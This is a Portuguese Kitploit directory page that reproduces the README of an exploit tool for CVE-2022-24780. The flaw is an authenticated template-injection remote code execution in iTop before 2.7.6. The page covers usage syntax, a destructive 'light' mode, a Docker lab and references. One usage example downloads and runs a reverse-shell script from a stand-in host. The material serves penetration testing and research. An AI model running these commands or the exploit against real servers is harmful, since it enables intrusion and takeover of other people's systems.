Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
exploit-CVE-2022-24780 — iTop < 2.7.6 - (Autenticado) Execução remota de comandos | Kitploit
Ferramentas/GitHubGitHub/acceis/exploit-cve-2022-24780
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubacceis/exploit-cve-2022-24780

exploit-CVE-2022-24780

iTop < 2.7.6 - (Autenticado) Execução remota de comandos

Ver Repositório
64há 4 anosAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

iTop RCE via SSTI - CVE-2022-24780 exploit

iTop < 2.7.6 - Execução remota de comandos (autenticada)

Exploit para [CVE-2022-24780][CVE-2022-24780].

[EDB-TODO] [PacketStorm] [WLB-2022050075]

Uso

$ ruby exploit.rb -h
iTop < 2.7.6 - Execução remota de comandos (autenticada)

Uso:
  exploit.rb full <url> <username> <password> <cmd> [--debug]
  exploit.rb light <url> <username> <password> <cmd> [--debug]
  exploit.rb -h | --help

  full: explora com um navegador emulado, executa JavaScript, preserva informações originais do perfil do usuário
  light: apenas analisa HTML e envia requisições, sem JavaScript, (DESTRUTIVO) redefine informações do usuário: telefone, localização, função

Opções:
  <url>       URL raiz (caminho base) incluindo esquema HTTP, porta e pasta raiz
  <username>  Nome de usuário do portal iTop
  <password>  Senha do usuário do portal iTop
  <cmd>       Comando a ser executado no alvo
  --debug     Exibe argumentos
  -h, --help  Mostra esta tela

Exemplos:
  exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
  exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'

Sabor

O sabor full do exploit usa Watir com um navegador web dirigido por Selenium para emular a navegação de um usuário. Isso é necessário para preservar as informações do usuário. O exploit injeta um payload SSTI em uma subparte do formulário usado para modificar informações do usuário no perfil do portal. Embora alguns valores possam ser hardcoded ou recuperados do HTML, outros (telefone, localização, função) são carregados dinamicamente via JavaScript e injetados no HTML. Portanto, para que o exploit não seja destrutivo, é necessário executar JavaScript para conseguir recuperar esses valores.

O sabor light do exploit não se importa tanto e irá definir destrutivamente um valor nulo para alguns campos de informação do usuário (telefone, localização, função). No entanto, este sabor é mais rápido de executar, requer menos dependências, não executa JavaScript e não precisa de um ambiente X (Watir precisa para executar o navegador).

Requisitos

Resumo: instale tudo com bundle install

Sabor full

  • httpx
  • docopt.rb
  • watir
  • webdrivers

Exemplo usando gem:

gem install httpx docopt watir webdrivers

Sabor light

  • httpx
  • docopt.rb
  • Nokogiri

Exemplo usando gem:

gem install httpx docopt nokogiri

Limitações

Não é recomendado usar payloads com aspas duplas (") nem barras invertidas (\) porque o payload é injetado em JSON.

Implantação Docker do software vulnerável

Aviso: este contêiner não é adequado para uso em produção!

Usando vbkunin/itop:2.7.4 - fonte - docker hub

$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4

Referências

  • Software alvo: iTop
    • Site: https://www.itophub.io/
    • Fornecedor: https://www.combodo.com/itop
    • Demonstração online: https://www.combodo.com/itop-access-to-the-demonstration
    • Código-fonte:
      • https://github.com/Combodo/iTop
      • https://sourceforge.net/projects/itop/files/itop/
    • Versão vulnerável:
      • Ramo 2.x: < 2.7.6
      • Ramo 3.x: < 3.0.0 (ex: 3.0.0-beta-7312)
    • Correções:
      • https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b
      • https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305
      • https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3
    • Avisos:
      • https://www.opencve.io/cve/CVE-2022-24780
      • https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54
      • https://attackerkb.com/topics/tcUqij2rjR/cve-2022-24780

A vulnerabilidade foi encontrada por Markus KRELL.

Análise da vulnerabilidade pelo descobridor:

  • iTop – Injeção de Template no Portal do Cliente

Aviso Legal

A ACCEIS não promove ou incentiva qualquer atividade ilegal; todo o conteúdo fornecido por este repositório é destinado apenas para fins de pesquisa, educacionais e de detecção de ameaças.

Pesquisa

O exploit

Como auditor de segurança (ou qualquer outro papel de chapéu branco), por um lado você quer executar um script de exploit para verificar a exploração prática efetiva da vulnerabilidade teórica com base no número da versão da aplicação que identificou, mas por outro lado, quer que seja feito corretamente, sem qualquer ação destrutiva, para que a aplicação do cliente seja deixada no mesmo estado em que a descobriu.

Por exemplo, este exploit ocorre na página de perfil do usuário, então há um formulário com informações do usuário que já estão preenchidas: nome, sobrenome, ID da organização, e-mail, telefone, ID da localização, função, ID do gerente. Para que o ataque funcione, você só precisa sobrescrever os campos vulneráveis e preencher outros com valores nulos ou aleatórios se forem obrigatórios. É isso que o sabor light do exploit faz. Mas ao fazer isso, você destruirá as informações reais daquele usuário; não é problemático em um ambiente de teste, mas é um problema real se você estiver em um ambiente de produção. Um chapéu preto não se importará com isso, mas como um chapéu branco, temos que preservar os dados. Então a solução é buscar os dados reais e reutilizá-los em nossa requisição POST.

Em aplicações web clássicas, muitas vezes você só precisa criar diretamente uma requisição POST com os parâmetros certos direcionados ao endpoint vulnerável. Às vezes é necessário lidar com sessão / cookies, redirecionamentos, alguns estados anteriores que podem ser necessários, buscar alguns IDs ou tokens anti-CSRF, mas tudo isso continua muito direto e pode ser alcançado com praticamente qualquer biblioteca HTTP em qualquer linguagem.

Para recuperar os dados reais, quando os dados do formulário vêm:

  • da resposta do servidor, você só precisa raspar a página e analisar o HTML;
  • de uma XHR que é feita para uma API e os dados são substituídos no HTML por JavaScript, você não precisa de JavaScript, pode forjar outra requisição POST para a API para recuperar os dados você mesmo.

Começa a ser um pouco mais complicado em algumas aplicações web modernas onde muitos valores são definidos a partir de manipulações complexas de JavaScript. Aqui você não pode simplesmente analisar HTML ou requisitar uma API REST, também não pode recuperar o valor diretamente de um arquivo JavaScript ou analisar várias linhas e recomputar um valor. Quando a computação JS é tão complexa, acontece em muitos arquivos JS diferentes ou o código-fonte JavaScript é ofuscado ou empacotado, exigiria muito esforço e tempo para fazer engenharia reversa do mecanismo e extrair o valor. Nesse caso, você realmente precisa interagir com o JavaScript da aplicação. Mas um script de exploit clássico que requer apenas uma biblioteca HTTP não pode fazer isso (sozinho)!

Baixar ferramenta